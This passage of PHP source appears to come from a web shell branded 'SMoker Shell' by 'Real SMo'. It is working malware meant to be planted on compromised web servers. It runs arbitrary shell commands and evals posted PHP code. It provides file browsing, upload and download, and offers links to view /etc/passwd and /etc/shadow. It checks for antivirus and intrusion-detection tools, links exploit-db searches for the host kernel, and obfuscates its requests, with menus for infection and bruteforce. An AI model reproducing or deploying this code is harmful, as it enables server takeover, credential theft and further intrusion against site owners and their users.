  481.                   <p class="card-text mb-2">Tip: you can fast check delivery with this link directly <br><a href="'.$stra.'[email protected]">'. $stra.'[email protected]</a></p>
  482.   
  483.                   <form method="post">
  484.                         <div class="form-group">
  485.                           <label class="form-label">Email</label>
  486.                           <input required="" type="email" class="form-control" name="email" placeholder="[email protected]" autofocus="" style="
  487.           border-color: #404656;
  488.           background-color: #283046;
  489.           color: #B4B7BD;
  490.   ">
  491.   <p class="card-text mb-2">Test email will be sent to this email address.</p>
  492.   
  493.                         </div>
  494.                         <div class="form-group">
  495.                                                                           <button type="submit" class="btn btn-lg float-right" style="border-color: #4839EB !important;background-color: #7367F0 !important;color: #FFFFFF;">Test</button>
  496.                                                                           
  497.                                                                           <a href="'.$stra.'" type="button" style="border-color: #4E5154;color: #B8C2CC;background-color: transparent;" class="btn btn-md float-left">Back</a>
  498.                                                                           
  499.                                                                   </div>
  500.                   </form>
  501.   
  502.                   
  503.                 </div>
  504.           </div>
  505.   
  506.         </div>
  507.   </div>
  508.   
  509.                   
  510.  
  511.           
  512.           
  513.   
  514.   
  515.           
  516.           
  517.           
  518.   
  519.           
  520.           
  521.           
  522.           
  523.   
  524.           
  525.           
  526.           
  527.           
  528.   
  529.           
  530.           
  531.           
  532.   
  533.           
  534.  
  535.  
  536.   </body></html>';
  537.           
  538.   exit;
  539.           
  540.   }
  541. if(strtolower(substr(PHP_OS,0,3)) == "win")
  542.         $os = 'win';
  543. else
  544.         $os = 'nix';
  545. $safe_mode = @ini_get('safe_mode');
  546. if(!$safe_mode)
  547.     error_reporting(0);
  548. $disable_functions = @ini_get('disable_functions');
  549. $home_cwd = @getcwd();
  550. if(isset($_POST['c']))
  551.         @chdir($_POST['c']);
  552. $cwd = @getcwd();
  553. if($os == 'win') {
  554.         $home_cwd = str_replace("\\", "/", $home_cwd);
  555.         $cwd = str_replace("\\", "/", $cwd);
  556. }//--------------Real SMo--------------//
  557. if($cwd[strlen($cwd)-1] != '/')
  558.         $cwd .= '/';
  559. //--------------Real SMo--------------//
  560. function hardHeader() {
  561.         if(empty($_POST['charset']))
  562.                 $_POST['charset'] = $GLOBALS[$dec];
  563.         echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - SMoker Shell</title><link rel='shortcut icon' href='https://i.imgur.com/BSwJ0QE.png'>
  564. <style>
  565.         body {background-color:black; color:#7367F0; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } 
  566.         body,td,th      {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
  567.         table.info      {color:white;}
  568.         table#toolsTbl {background-color: black;}
  569.         span,h1,a       {color:#7367F0 !important;}
  570.         span            {font-weight:bolder;}
  571.         h1                      {border-left:5px solid #2E6E9C;color:white !important;padding:2px 5px;font:14pt Verdana;background-color:black;margin:0px;}
  572.         div.content     {padding:5px;margin-left:5px;background-color:#060a10;}
  573.         a                       {text-decoration:none;}
  574.         a:hover         {text-decoration:underline;}
  575.         .tooltip::after {background:#0663D5;color:white;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
  576.         .tooltip:hover::after {opacity:1;visibility:visible;}
  577.         .ml1            {border:1px solid;    font-family: monospace;#202832;color:#00CFE8!important;padding:5px;margin:0;overflow:auto;}
  578.         .bigarea        {min-width:100%;max-width:100%;height:400px;}
  579.         input, textarea, select {
  580.     margin: 0;
  581.     color: #fff;
  582.     background-color: #555;
  583.     border: 1px solid #7367F0;
  584.     font: 9pt Monospace,'Courier New';}
  585.     
  586.         label {position:relative}
  587.         label:after {font:10px 'Consolas', monospace;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
  588.  
  589.         form            {margin:0px;}
  590.         #toolsTbl       {text-align:center;}
  591.         #fak            {background:none;}
  592.         #fak td         {padding:5px 0 0 0;}
  593.         iframe          {border:1px solid #060a10;}
  594.         .toolsInp       {width:300px}
  595.         .main th        {text-align:left;background-color:#060a10;}
  596.         .main tr:hover{    background-color: #262C30;}
  597.         .main td, th{vertical-align:middle;}
  598.         input[type='submit']{color: #FFFFFF;display: inline-block;
  599.     padding: 0.35em 0.4em;
  600.     font-size: 80%;
  601.     font-weight: 700;
  602.     line-height: 1;
  603.     text-align: center;
  604.     white-space: nowrap;
  605.     vertical-align: baseline;
  606.     border-radius: 0.25rem;
  607.     -webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
  608.     transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;padding-right: 0.6em;padding-left: 0.6em;border-radius: 10rem;font-weight: 400;box-shadow: 0 0 10px #7367f0;background-color: #7367F0;cursor:pointer;}
  609.         input[type='button']{color: #FFFFFF;display: inline-block;
  610.     padding: 0.35em 0.4em;
  611.     font-size: 80%;
  612.     font-weight: 700;
  613.     line-height: 1;
  614.     text-align: center;
  615.     white-space: nowrap;
  616.     vertical-align: baseline;
  617.     border-radius: 0.25rem;
  618.     -webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
  619.     transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;padding-right: 0.6em;padding-left: 0.6em;border-radius: 10rem;font-weight: 400;box-shadow: 0 0 10px #7367f0;background-color: #7367F0;cursor:pointer;}
  620.         .l1                     {background-color:#10163A;}
  621.         pre                     {font:9pt Courier New;}
  622. </style>
  623. <script>
  624.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  625.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  626.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  627.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  628.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  629.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  630.     var d = document;
  631.  
  632.         function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
  633.         function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
  634.         function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
  635.         function set(a,c,p1,p2,p3,charset) {
  636.                 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  637.                 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  638.                 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  639.                 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  640.                 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  641.                 d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  642.                 d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  643.                 d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  644.                 d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  645.                 d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
  646.                 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  647.         }
  648.         function g(a,c,p1,p2,p3,charset) {
  649.                 set(a,c,p1,p2,p3,charset);
  650.                 d.mf.submit();
  651.         }
  652.         function a(a,c,p1,p2,p3,charset) {
  653.                 set(a,c,p1,p2,p3,charset);
  654.                 var params = 'ajax=true';
  655.                 for(i=0;i<d.mf.elements.length;i++)
  656.                         params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  657.                 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  658.         }
  659.         function sr(url, params) {
  660.                 if (window.XMLHttpRequest)
  661.                         req = new XMLHttpRequest();
  662.                 else if (window.ActiveXObject)
  663.                         req = new ActiveXObject('Microsoft.XMLHTTP');
  664.         if (req) {
  665.             req.onreadystatechange = processReqChange;
  666.             req.open('POST', url, true);
  667.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  668.             req.send(params);
  669.         }
  670.         }
  671.         function processReqChange() {
  672.                 if( (req.readyState == 4) )
  673.                         if(req.status == 200) {
  674.                                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  675.                                 var arr=reg.exec(req.responseText);
  676.                                 eval(arr[2].substr(0, arr[1]));
  677.                         } else alert('Request error!');
  678.         }
  679. </script>
  680. <head><body><div style='position:absolute;width:100%;top:0;left:0;'>
  681. <form method=post name=mf style='display:none;'>
  682. <input type=hidden name=a>
  683. <input type=hidden name=c>
  684. <input type=hidden name=p1>
  685. <input type=hidden name=p2>
  686. <input type=hidden name=p3>
  687. <input type=hidden name=charset>
  688. </form>";
  689.         $freeSpace = @diskfreespace($GLOBALS['cwd']);
  690.         $totalSpace = @disk_total_space($GLOBALS['cwd']);
  691.         $totalSpace = $totalSpace?$totalSpace:1;
  692.         $release = @php_uname('r');
  693.         $kernel = @php_uname('s');
  694.         $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
  695.         if(strpos('Linux', $kernel) !== false)
  696.                 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  697.         else
  698.                 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  699.         if(!function_exists('posix_getegid')) {
  700.                 $user = @get_current_user();
  701.                 $uid = @getmyuid();
  702.                 $gid = @getmygid();
  703.                 $group = "?";
  704.         } else {
  705.                 $uid = @posix_getpwuid(@posix_geteuid());
  706.                 $gid = @posix_getgrgid(@posix_getegid());
  707.                 $user = $uid['name'];
  708.                 $uid = $uid['uid'];
  709.                 $group = $gid['name'];
  710.                 $gid = $gid['gid'];
  711.         }
  712.         $cwd_links = '';
  713.         $path = explode("/", $GLOBALS['cwd']);
  714.         $n=count($path);
  715.         for($i=0; $i<$n-1; $i++) {
  716.                 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  717.                 for($j=0; $j<=$i; $j++)
  718.                         $cwd_links .= $path[$j].'/';
  719.                 $cwd_links .= "\")'>".$path[$i]."/</a>";
  720.         }//--------------Real SMo--------------//
  721.         $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  722.         $opt_charsets = '';
  723.         foreach($charsets as $dokl)
  724.                 $opt_charsets .= '<option value="'.$dokl.'" '.($_POST['charset']==$dokl?'selected':'').'>'.$dokl.'</option>';
  725.         $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Delivery Test'=>'Deliverytest','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  726. if(!empty($GLOBALS['password_shell'])){
  727.     $m['Change Password'] ='changepass';
  728.         $m['Logout'] ='Logout';
  729.  
  730. }else{$m['Shell password'] ='changepass';}
  731.         $menu = '';
  732.         foreach($m as $k => $v)
  733.         if($v == 'Deliverytest' || $v == 'changepass') {
  734.                 $menu .= '<th>[ <a href="#" style="color:#ea5455 !important" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  735.         }
  736.         else{
  737.                 $menu .= '<th>[ <a href="#"  onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  738.         }
  739.         $drives = "";
  740.         if ($GLOBALS['os'] == 'win') {
  741.                 foreach(range('c','z') as $drive)
  742.                 if (is_dir($drive.':\\'))
  743.                         $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  744.         }
  745.         //--------------Real SMo--------------//
  746.         echo '<table style="background-color: #559;" class=info cellpadding=3 cellspacing=0 width=100%><tr style="background: #0000009e;"><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  747.                  '<td><b style="display:none" id="systemshort">'.PHP_OS.'</b><nobr id="systemdet">'.substr(@php_uname(), 0, 120).'</nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br><nobr id="systemphp">'.@phpversion().'</nobr> <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color= #EA5455>ON</font>':'<font color=#28C76F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  748.                  '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>-</nobr></td></tr></table>'.
  749.                  '<table style="background-color:black;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div><br><center><a  href="https://t.me/RealSMo" target = "_blank"style="font-size: 20px;font-weight: 600;color: #ea5455 !important;">Real SMo</a></center>';
  750. }
  751. function generateRandomString($length) {
  752.     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  753.     $charactersLength = strlen($characters);
  754.     $randomString = '';
  755.     for ($i = 0; $i < $length; $i++) {
  756.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  757.     }
  758.     return $randomString;
  759. }
  760. function hardFooter() {
  761.         $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#28C76F'>[ Writeable ]</font>":" <font color=#EA5455>(Not writable)</font>";
  762.     echo "
  763. </div>
  764. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
  765.         <tr>
  766.                 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
  767.                 <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  768.         </tr><tr>
  769.                 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
  770.                 <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
  771.         </tr><tr>
  772.                 <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
  773.                 <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
  774.                 <input type=hidden name=a value='FilesMan'>
  775.                 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  776.                 <input type=hidden name=p1 value='uploadFile'>
  777.                 <input type=hidden name=ne value=''>
  778.                 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  779.                 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>
  780.         </tr></table></div>
  781.  
  782.         </body></html>";
  783. }
  784.  
  785. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
  786. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
  787.  
  788. function ex($in) {
  789.         $dokas = '';
  790.         if (function_exists('exec')) {
  791.                 @exec($in,$dokas);
  792.                 $dokas = @join("\n",$dokas);
  793.         } elseif (function_exists('passthru')) {
  794.                 ob_start();
  795.                 @passthru($in);
  796.                 $dokas = ob_get_clean();
  797.         } elseif (function_exists('system')) {
  798.                 ob_start();//--------------Real SMo--------------//
  799.                 @system($in);
  800.                 $dokas = ob_get_clean();
  801.         } elseif (function_exists('shell_exec')) {
  802.                 $dokas = shell_exec($in);
  803.         } elseif (is_resource($f = @popen($in,"r"))) {
  804.                 $dokas = "";
  805.                 while(!@feof($f))
  806.                         $dokas .= fread($f,1024);
  807.                 pclose($f);
  808.         }else return "↳ Unable to execute command\n";
  809.         return ($dokas==''?"↳ Query did not return anything\n":$dokas);
  810. }
  811. function viewSize($s) {
  812.         if($s >= 1073741824)
  813.                 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  814.         elseif($s >= 1048576)
  815.                 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  816.         elseif($s >= 1024)
  817.                 return sprintf('%1.2f', $s / 1024 ) . ' KB';
  818.         else
  819.                 return $s . ' B';
  820. }
  821. function perms($p) {
  822.         if (($p & 0xC000) == 0xC000)$i = 's';
  823.         elseif (($p & 0xA000) == 0xA000)$i = 'l';
  824.         elseif (($p & 0x8000) == 0x8000)$i = '-';
  825.         elseif (($p & 0x6000) == 0x6000)$i = 'b';
  826.         elseif (($p & 0x4000) == 0x4000)$i = 'd';
  827.         elseif (($p & 0x2000) == 0x2000)$i = 'c';
  828.         elseif (($p & 0x1000) == 0x1000)$i = 'p';
  829.         else $i = 'u';
  830.         $i .= (($p & 0x0100) ? 'r' : '-');
  831.         $i .= (($p & 0x0080) ? 'w' : '-');
  832.         $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  833.         $i .= (($p & 0x0020) ? 'r' : '-');
  834.         $i .= (($p & 0x0010) ? 'w' : '-');
  835.         $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  836.         $i .= (($p & 0x0004) ? 'r' : '-');
  837.         $i .= (($p & 0x0002) ? 'w' : '-');
  838.         $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  839.         return $i;
  840. }//--------------Real SMo--------------////--------------Real SMo--------------//
  841. function viewPermsColor($f) {
  842.         if (!@is_readable($f))
  843.                 return '<font color=#EA5455><b>'.perms(@fileperms($f)).'</b></font>';
  844.         elseif (!@is_writable($f))
  845.                 return '<font color=#EA5455><b>'.perms(@fileperms($f)).'</b></font>';
  846.         else
  847.                 return '<font color=#28C76F><b>'.perms(@fileperms($f)).'</b></font>';
  848. }
  849. function hardScandir($dir) {
  850.     if(function_exists("scandir")) {
  851.         return scandir($dir);
  852.     } else {
  853.         $dh  = opendir($dir);
  854.         while (false !== ($filename = readdir($dh)))
  855.             $files[] = $filename;
  856.         return $files;
  857.     }
  858. }
  859. function which($p) {
  860.         $path = ex('which ' . $p);
  861.         if(!empty($path))
  862.                 return $path;
  863.         return false;
  864. }
  865. function actionRC() {
  866.         if(!@$_POST['p1']) {
  867.                 $a = array(
  868.                         "uname" => php_uname(),
  869.                         "php_version" => phpversion(),
  870.                         "VERSION" => VERSION,
  871.                         "safemode" => @ini_get('safe_mode')
  872.                 );
  873.                 echo serialize($a);
  874.         } else {
  875.                 eval($_POST['p1']);
  876.         }
  877. }//--------------Real SMo--------------//
  878. function prototype($k, $v) {
  879.     $_COOKIE[$k] = $v;
  880.     setcookie($k, $v);
  881. }
  882. function changer($p, $n) {
  883.     
  884.     $passnew = changepass($p) ? $p: NULL;
  885.     $shellname = rename ($_SERVER['SCRIPT_FILENAME'], "SMoker-".$n.".php") ?  "SMoker-".$n.".php" : basename($_SERVER["SCRIPT_FILENAME"]);
  886.     
  887.     
  888. $dir_only = $_SERVER['HTTP_HOST'].substr($_SERVER['REQUEST_URI'], 0, strrpos($_SERVER['REQUEST_URI'], '/') + 1);
  889. $finalshl =  $dir_only.$shellname.(isset($passnew) ? "?pass=$passnew": '');
  890.    
  891. return json_encode(array('url' => $finalshl,));
  892.     
  893. }
  894. function actionSecInfo() {
  895.         hardHeader();
  896.         echo '<h1>Server security information</h1><div class=content>';
  897.         function showSecParam($n, $v) {
  898.                 $v = trim($v);
  899.                 if($v) {
  900.                         echo '<span>' . $n . ': </span>';
  901.                         if(strpos($v, "\n") === false)
  902.                                 echo $v . '<br>';
  903.                         else
  904.                                 echo '<pre class=ml1>' . $v . '</pre>';
  905.                 }
  906.         }
  907.         showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  908.     if(function_exists('apache_get_modules'))
  909.         showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  910.         showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  911.         showSecParam('Open base dir', @ini_get('open_basedir'));
  912.         showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  913.         showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  914.         showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  915.         $temp=array();
  916.         if(function_exists('mysql_get_client_info'))
  917.                 $temp[] = "MySql (".mysql_get_client_info().")";
  918.         if(function_exists('mssql_connect'))
  919.                 $temp[] = "MSSQL";
  920.         if(function_exists('pg_connect'))
  921.                 $temp[] = "PostgreSQL";
  922.         if(function_exists('oci_connect'))
  923.                 $temp[] = "Oracle";
  924.         showSecParam('Supported databases', implode(', ', $temp));
  925.         echo '<br>';
  926.         if($GLOBALS['os'] == 'nix') {
  927.             showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  928.             showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  929.             showSecParam('OS version', @file_get_contents('/proc/version'));
  930.             showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  931.             if(!$GLOBALS['safe_mode']) {
  932.                 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  933.                 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  934.                 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  935.                 echo '<br>';
  936.                 $temp=array();
  937.                 foreach ($userful as $dokl)
  938.                     if(which($dokl))
  939.                         $temp[] = $dokl;
  940.                 showSecParam('Userful', implode(', ',$temp));
  941.                 $temp=array();
  942.                 foreach ($danger as $dokl)
  943.                     if(which($dokl))
  944.                         $temp[] = $dokl;
  945.                 showSecParam('Danger', implode(', ',$temp));
  946.                 $temp=array();
  947.                 foreach ($downloaders as $dokl)
  948.                     if(which($dokl))
  949.                         $temp[] = $dokl;
  950.                 showSecParam('Downloaders', implode(', ',$temp));
  951.                 echo '<br/>';
  952.                 showSecParam('HDD space', ex('df -h'));
  953.                 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  954.                                 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  955.             }//--------------Real SMo--------------//
  956.         } else {
  957.                 showSecParam('OS Version',ex('ver'));
  958.                 showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
  959.                 showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
  960.         }
  961.         echo '</div>';
  962.         hardFooter();
  963. }
  964. function actionFilesTools() {
  965.         if( isset($_POST['p1']) )
  966.                 $_POST['p1'] = urldecode($_POST['p1']);
  967.         if(@$_POST['p2']=='download') {
  968.                 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  969.                         ob_start("ob_gzhandler", 4096);
  970.                         header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  971.                         if (function_exists("mime_content_type")) {
  972.                                 $type = @mime_content_type($_POST['p1']);
  973.                                 header("Content-Type: " . $type);
  974.                         } else
  975.                 header("Content-Type: application/octet-stream");
  976.                         $fp = @fopen($_POST['p1'], "r");
  977.                         if($fp) {
  978.                                 while(!@feof($fp))
  979.                                         echo @fread($fp, 1024);
  980.                                 fclose($fp);
  981.                         }
  982.                 }exit;
  983.         }
  984.         if( @$_POST['p2'] == 'mkfile' ) {
  985.                 if(!file_exists($_POST['p1'])) {
  986.                         $fp = @fopen($_POST['p1'], 'w');
  987.                         if($fp) {
  988.                                 $_POST['p2'] = "edit";
  989.                                 fclose($fp);
  990.                         }
  991.                 }
  992.         }//--------------Real SMo--------------//
  993.         hardHeader();
  994.         echo '<h1>File tools</h1><div class=content>';
  995.         if( !file_exists(@$_POST['p1']) ) {
  996.                 echo 'File not exists';
  997.                 hardFooter();
  998.                 return;
  999.         }
  1000.         $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1001.         if(!$uid) {
  1002.                 $uid['name'] = @fileowner($_POST['p1']);
  1003.                 $gid['name'] = @filegroup($_POST['p1']);
  1004.         } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1005.         echo '<span>Name:</span> <b style="color:white">'.htmlspecialchars(@basename($_POST['p1'])).'</b> <span>Size:</span> <b style="color:white">'.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' </b><span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1006.         echo '<span>Create time:</span> <b style="color:white">'.date('Y-m-d H:i:s',filectime($_POST['p1'])).'</b> <span>Access time:</span> <b style="color:white">'.date('Y-m-d H:i:s',fileatime($_POST['p1'])).'</b> <span>Modify time:</span> <b style="color:white">'.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'</b><br><br>';
  1007.         if( empty($_POST['p2']) )
  1008.                 $_POST['p2'] = 'view';
  1009.         if( is_file($_POST['p1']) )
  1010.                 $m = array('back','View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
  1011.         else
  1012.                 $m = array('Chmod', 'Rename', 'Touch');
  1013.         foreach($m as $v)
  1014.  
  1015.                 echo '<a style="color:#FF9F43 !important" href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1016.         echo '<br><br>';
  1017.         switch($_POST['p2']) {
  1018.                 case 'view':
  1019.                         echo '<pre class=ml1>';
  1020.                         $fp = @fopen($_POST['p1'], 'r');
  1021.                         if($fp) {
  1022.                                 while( !@feof($fp) )
  1023.                                         echo htmlspecialchars(@fread($fp, 1024));
  1024.                                 @fclose($fp);
  1025.                         }
  1026.                         echo '</pre>';
  1027.                         break;//--------------Real SMo--------------//
  1028.                 case 'highlight':
  1029.                         if( @is_readable($_POST['p1']) ) {
